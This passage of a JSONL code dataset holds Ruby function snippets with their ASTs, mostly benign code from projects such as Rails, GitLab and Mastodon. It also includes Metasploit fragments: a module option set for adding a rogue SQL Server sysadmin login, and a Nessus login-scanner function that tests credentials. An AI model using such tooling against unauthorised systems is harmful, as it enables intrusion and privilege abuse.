<scott.sutherland[at]netspi.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_config_rev2self\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"New sysadmin login\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for new sysadmin login\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"INSTANCE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Name of target SQL Server instance\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"REMOVE_LOGIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Remove DB_USERNAME login from database\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"1bfe8a1f-e4f6-4da2-b192-5f89fb5b0ae8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/messages/rotation_coordinator.rb","start_line":35,"raw_source":"def prepend(**options, &block)\n        raise ArgumentError, \"Options cannot be specified when using a block\" if block && !options.empty?\n        changing_configuration!\n\n        @rotate_options.unshift(block || options)\n\n        self\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"prepend\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Options cannot be specified when using a block\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"changing_configuration!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rotate_options\"]},\"unshift\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"cd723d74-1c50-452f-bfa6-3611166040e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/message.rb","start_line":111,"raw_source":"def exists?(**args)\n          selector = build_selector(**args)\n          text = args[:text]\n          text = I18n.t(\"js.chat.deleted\", count: args[:deleted]) if args[:deleted]\n\n          selector_method = args[:does_not_exist] ? :has_no_selector? : :has_selector?\n\n          if text\n            page.find(context).send(\n              selector_method,\n              selector + \" \" + \".chat-message-text\",\n              (args[:exact] ? :exact_text : :text) => text,\n            )\n          else\n            page.find(context).send(selector_method, selector)\n          end\n        end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"send\",\"children\":[null,\"build_selector\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.chat.deleted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"selector_method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"does_not_exist\"]}]},{\"type\":\"sym\",\"children\":[\"has_no_selector?\"]},{\"type\":\"sym\",\"children\":[\"has_selector?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"context\"]}]},\"send\",{\"type\":\"lvar\",\"children\":[\"selector_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]},\"+\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"str\",\"children\":[\".chat-message-text\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exact\"]}]},{\"type\":\"sym\",\"children\":[\"exact_text\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"context\"]}]},\"send\",{\"type\":\"lvar\",\"children\":[\"selector_method\"]},{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]}","id":"c04f01e0-3a9f-446d-a919-4adc696732ef"}
{"repo_name":"haml","file_path":"./repos/haml/benchmark/slim/run-benchmarks.rb","start_line":73,"raw_source":"def run\n    Benchmark.ips do |x|\n      @benches.each do |name, block|\n        x.report(name.to_s, &block)\n      end\n      x.compare!\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Benchmark\"]},\"ips\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@benches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"compare!\"]}]}]}]}","id":"85cd9dae-a0c2-46db-9d94-6adf846e1e51"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":710,"raw_source":"def test_schema_dumping_on_delete_and_on_update_options\n          @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", on_delete: :nullify, on_update: :cascade\n\n          output = dump_table_schema \"astronauts\"\n          assert_match %r{\\s+add_foreign_key \"astronauts\",.+on_update: :cascade,.+on_delete: :nullify$}, output\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumping_on_delete_and_on_update_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+add_foreign_key \\\"astronauts\\\",.+on_update: :cascade,.+on_delete: :nullify$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"2054f8f9-44d5-44fa-9f56-5157d6b65b2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/after_import_worker.rb","start_line":14,"raw_source":"def perform(project_id)\n      @project = Project.find(project_id)\n\n      service = ::Repositories::HousekeepingService.new(@project)\n\n      service.execute do\n        import_failure_service.with_retry(action: 'delete_all_refs') do\n          repository.delete_all_refs_except(RESERVED_REF_PREFIXES)\n        end\n      end\n\n      # Right now we don't actually have a way to know if a project\n      # import actually changed, so we increment the counter to avoid\n      # causing GC to run every time.\n      service.increment!\n    rescue ::Repositories::HousekeepingService::LeaseTaken => e\n      ::Import::Framework::Logger.info(\n        message: 'Project housekeeping failed',\n        project_full_path: @project.full_path,\n        project_id: @project.id,\n        'exception.message' => e.message\n      )\n    end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"HousekeepingService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"execute\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_failure_service\"]},\"with_retry\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"delete_all_refs\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"delete_all_refs_except\",{\"type\":\"const\",\"children\":[null,\"RESERVED_REF_PREFIXES\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"increment!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"HousekeepingService\"]},\"LeaseTaken\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"Framework\"]},\"Logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Project housekeeping failed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exception.message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"69907031-176e-4a4e-b718-a8d19377e83f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/nessus.rb","start_line":36,"raw_source":"def get_login_state(username, password)\n          login_uri = \"#{uri}\"\n\n          res = send_request({\n            'uri' => login_uri,\n            'method' => 'POST',\n            'vars_post' => {\n              'username' => username,\n              'password' => password\n            }\n          })\n\n          unless res\n            return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}\n          end\n          if res.code == 200 && res.body =~ /token/\n            return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}\n          end\n\n          {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}\n        end","complexity_score":15.33,"ast_json":"{\"type\":\"def\",\"children\":[\"get_login_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"login_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"UNABLE_TO_CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]}]}]}]}","id":"59cb2eef-10ff-4339-a7e9-5e8a0e620abf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_apache_error.rb","start_line":15,"raw_source":"def create_driver\n    Fluent::Test::Driver::Parser.new(Fluent::Plugin::ApacheErrorParser.new).configure({})\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_driver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"Driver\"]},\"Parser\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"ApacheErrorParser\"]},\"new\"]}]},\"configure\",{\"type\":\"hash\",\"children\":[]}]}]}","id":"8e163da9-8946-423a-9033-8af99e9e6700"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1721,"raw_source":"def test_form_for_text_area_alias\n    form_for(@post, html: { id: \"create-post\" }) do |f|\n      concat f.text_area(:body)\n    end\n\n    expected = whole_form(\"/posts/123\", \"create-post\", \"edit_post\", method: \"patch\") do\n      \"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\" \\\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_text_area_alias\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_area\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"str\",\"children\":[\"edit_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body'>\\nBack to the hill and over it again!</textarea>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"f82525f3-3069-4ce7-9db3-396a3e8f5025"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/google_vertex_model/client.rb","start_line":16,"raw_source":"def discover(_connection_config = nil)\n        catalog_json = read_json(CATALOG_SPEC_PATH)\n        catalog = build_catalog(catalog_json)\n        catalog.to_multiwoven_message\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"GOOGLE:VERTEX MODEL:DISCOVER:EXCEPTION\",\n                           type: \"error\"\n                         })\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_connection_config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catalog_json\",{\"type\":\"send\",\"children\":[null,\"read_json\",{\"type\":\"const\",\"children\":[null,\"CATALOG_SPEC_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[null,\"build_catalog\",{\"type\":\"lvar\",\"children\":[\"catalog_json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"GOOGLE:VERTEX MODEL:DISCOVER:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"cf49a344-591d-4d8b-837b-d562de6c58aa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/status_policy.rb","start_line":31,"raw_source":"def favourite?\n    show? && !blocking_author?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"favourite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blocking_author?\"]},\"!\"]}]}]}","id":"fc3e92f0-0ea6-4c26-aaae-7d345a260738"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/speakerdeck_tag.rb","start_line":25,"raw_source":"def parse_input(input)\n    match = pattern_match_for(input, REGEXP_OPTIONS)\n    raise StandardError, I18n.t(\"liquid_tags.speakerdeck_tag.invalid_speakerdeck_id\") unless match\n\n    match[:id]\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"pattern_match_for\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"const\",\"children\":[null,\"REGEXP_OPTIONS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.speakerdeck_tag.invalid_speakerdeck_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"76982986-a663-47a7-989a-e317a1cbe3f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_setting.rb","start_line":78,"raw_source":"def show_diff_preview_in_email?\n    if project.group\n      super && project.group&.show_diff_preview_in_email?\n    else\n      !!super\n    end\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show_diff_preview_in_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"group\"]},{\"type\":\"and\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"group\"]},\"show_diff_preview_in_email?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"!\"]},\"!\"]}]}]}","id":"bc74356e-7d19-484e-955e-eedcdb0774d5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/app/components/webhooks/outgoing/webhooks/row_component.rb","start_line":22,"raw_source":"def events\n          selected_events =\n            webhook\n              .events\n              .pluck(:name)\n              .map(&method(:lookup_event_name))\n              .compact\n              .uniq\n\n          count = selected_events.count\n          if count <= 3\n            selected_events.join(\", \")\n          else\n            content_tag(\"span\", count, class: \"badge\")\n          end\n        end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webhook\"]},\"events\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"lookup_event_name\"]}]}]}]},\"compact\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_events\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"<=\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_events\"]},\"join\",{\"type\":\"str\",\"children\":[\", 